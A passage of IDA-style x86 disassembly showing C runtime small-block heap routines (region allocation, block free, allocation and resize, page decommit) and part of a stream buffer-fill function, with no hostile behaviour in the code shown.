ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A9C0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A9B0 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DCFE4 nop call near ptr 27A0000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A9B0 cmp esi, eax jnz short loc_41EA06 cmp off_43A9B0, 0 jnz short loc_41E9F6 mov off_43A9B0, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A9B4, 0 jnz short loc_41EA1B mov off_43A9B4, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A9B4 mov [esi+4], eax mov off_43A9B4, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi nop call near ptr 28A051Fh loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A9B0 jz short loc_41EAB3 push esi push 0 push dword_4DCFE4 nop call near ptr 2790000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 28A051Fh cmp off_43C9D0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C9D0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A9B0 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DCFE4 nop call near ptr 2790000h pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A9C0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A9B4 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call near ptr 28A051Fh nop test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB9D4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A9B4 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A9B0 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB9D4 cmp dword_4DB9D4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C9D0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C9D0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C9D0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A9B0 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 28A065Ah cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C9D0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C9D0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DCCA0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43D030 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 